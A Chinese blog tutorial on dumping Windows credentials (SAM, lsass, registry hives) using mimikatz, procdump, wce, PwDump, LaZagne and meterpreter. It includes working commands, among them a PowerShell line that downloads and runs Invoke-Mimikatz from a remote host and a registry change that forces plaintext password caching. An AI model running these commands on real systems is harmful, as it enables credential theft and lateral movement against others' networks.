我上篇隨筆說到了內網中橫向移動的幾種姿勢,橫向移動的前提是獲取了具有某些權限的用戶的明文密碼或hash,正愁不知道寫點啥,那就來整理一下這個“前提”-----如何在windows系統中抓hash
0x01 前言
事先聲明,本文還是暫時不考慮免殺的問題,有些殺軟十分變態,針對lsass等關鍵部位的防護非常好,一有風吹草動立刻報警,繞過方法還有待測試......不過這並不耽誤我整理一下小知識點(怒)
本文中提到的“殺軟”只是特指 XX安全軟件 這一款安全產品,僅反映當前殺軟的一個查殺趨勢,不代表所有殺軟,畢竟這東西能力有強有弱側重點也有不同
先說一下windows系統的身份認證機制
windows中身份認證機制主要有兩種:ntlm 、kerberos。ntlm用於本地和早期工作組環境(lm太老了不討論),kerberos用於域環境
其中ntlm應用非常廣,既能用於有域環境的認證,也能用於沒域環境的認證
當ntlm用於沒域環境的本地認證時:開機調用登錄框讓你輸密碼,系統把密碼傳給lsass.exe進程。lsass把你輸入的密碼二話不說先在內存中存一份明文的,當把明文密碼加密成NTLM hash之后和windows系統本地存儲的SAM數據庫中這個登錄用戶的NTLM hash進行對比,如果一致則登錄成功
當ntlm用於有域環境的網絡認證時:可以使用kerberos,也可以使用ntlm。這里的ntlm基於一種叫做challenge/response的機制(具體不展開了,網上有講細節的),這個過程會用到域控中的本地數據庫ntds.dit(這里有域用戶的ntlm hash)
可見整個過程都沒有明文密碼啥事情
0x02 從SAM或lsass進程中抓取
SAM在windows路徑C:\\windows\System32\config下,是個鎖定的不可復制的文件,於是在系統運行的時候經常在內存中找憑證
1.mimikatz
啊,這個,就不說了,之前文章演示好多了
要抓哪台機器就在哪台機器上運行,管理員權限運行
高版本windows系統(win10、win2012 R2以上版本存在只能抓hash不能抓明文的問題,會顯示null,因為系統內存緩存中不再存有明文了)抓取明文存在問題,hash可以
想要繼續抓明文要改注冊表:
命令-------- reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
對方目標機器再次登錄就能用mimikatz抓明文了,但一般來說會把lsass轉出來拖回本地來規避殺軟,這個后面小點再說
然而mimikatz不做免殺,基本上就會被殺軟直接干掉,秒沒
這里有一個人R1ngk3y 有關mimikatz如何不被殺的一些思路,時間也比較久了,截止今日不知是否都還能用,未經驗證僅供參考:https://www.freebuf.com/articles/web/176796.html
2.getpass
一個可以直接獲得明文密碼的工具,年久失修,雖然很多人提過這款工具,但我是沒用過的,電腦里也沒有(請原諒我的無知)
3.wce
啊,簡單粗暴
wce.exe -w 抓明文
wce.exe -l 抓hash
下載地址(鏈接來自看雪)
http://www.ampliasecurity.com/research/wce_v1_4beta_x32.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_x64.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
4.PwDump7
保證這倆在一個目錄下,直接cmd運行
但是,抓出來的結果一言難盡......直接運行百分百被殺軟殺,不運行也可能被殺
PwDump8
效果要比PwDump7好得多
該抓的都抓到了,且沒有被殺掉
5.Quarks PwDump
也是直接cmd運行的
Quarks PwDump.exe --dump-hash-local 導出本地hash
效果與PwDump7差不多,也是運行必被殺
6.powershell
不做特殊說明,以下腳本都默認會被查殺
(1)Invoke-Mimikatz.ps1
用的是nishang里面帶的
在本地運行
這個腳本還可以遠程加載如:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.25.203/');Invoke-Mimikatz -DumpCreds"
但是這種動作和行為性質非常惡劣,一定會被殺軟查殺的
於是有了各種各樣免殺的手段,特別好玩
我推薦大佬 Tide重劍無鋒 的這篇文章 https://www.freebuf.com/news/234365.html
(我直呼好家伙,發律師函的怕不是手都發麻了)
(2)Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('Get-PassHashes.ps1所在路徑');Get-PassHashes
啊,也是從nishang里面撈的
還行,效果一般
7.Procdump+mimikatz
procdump,官方工具(意味着不會被當成病毒殺了),可將lsass.exe轉儲成dmp文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp #32位系統 procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系統
然后用mimikatz讀取
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
當然前提還是在目標機上讀取的話,要免殺mimikatz,不然就拖回來讀取
8.注冊表+mimikatz
首先在目標機器上執行下圖的命令導出三個文件,然后通過shell或者IPC$ copy或者net use共享或者什么辦法把這三個文件下載回攻擊機
然后在本地上就可以用mimikatz來讀取這三個文件了
至於去破解還是去干嘛就隨意了
9.LaZagne
基於py,密碼抓取神器,能一鍵提取各種密碼:瀏覽器、git、WiFi......
這東西本身是py的,也有exe格式的
下載鏈接:https://github.com/AlessandroZ/LaZagne
https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3
個人覺得還是exe的好用,py的需要安一堆依賴
運行權限越高可能抓到的密碼就越多
非常強悍,看得我后背發涼(還順便找到了幾個我自己都忘了是啥的密碼)真就是啥都能抓到,既有hash也有明文糊臉
(另:cmd窗體的結果如果看不全的話,把屏幕緩沖區大小調大即可)
LaZagne有很多功能,詳細命令網上有,不列舉了
但同樣的問題,就是免殺,我本機上XX安全軟件沒有報警不意味着這個工具就是直接可用的
10.框架調用
msf中獲得meterpreter后,在meterpreter>load mimikatz之后msv可獲取hash(具體例子可以去翻我的第一篇博客,有關域滲透小實驗的那個)
先提個權getsystem
msv 獲取hash
kerberos 獲取明文
mimikatz_command -f samdump::hashs 獲取hash
mimikatz_command -f sekurlsa::searchPasswords 獲取明文
這只是理論上的,實際上可能因為各種原因,失敗抓不到也很正常......
或者調用smart_hashdump腳本
run windows/gather/smart_hashdump
效果會好一些
另外,cobalt strike與Empire中也能調用mimikatz,這個找機會講到這倆的時候再說吧
11.SqlDumper
又一個微軟的東西,SQLserver2000以上自帶,作用就是將應用程序轉儲成dump文件
我手中沒有MSSQL環境了,無法演示了,大致過程如下:
先在目標機器中找lsass的PID號
然后把這個號帶入 sqldumper.exe ProcessID 0 0x01100 這個語句中執行
會導出一個mdmp文件,下載回本地mimikatz解析
(寫着寫着剎不住車了,太長了影響觀感。剩下內容就留到 windows中抓取hash小結(下) 中了)
請轉到windows中抓取hash小結(下)
指路鏈接 https://www.cnblogs.com/lcxblogs/p/14002468.html
隨便轉載,請標明作者出處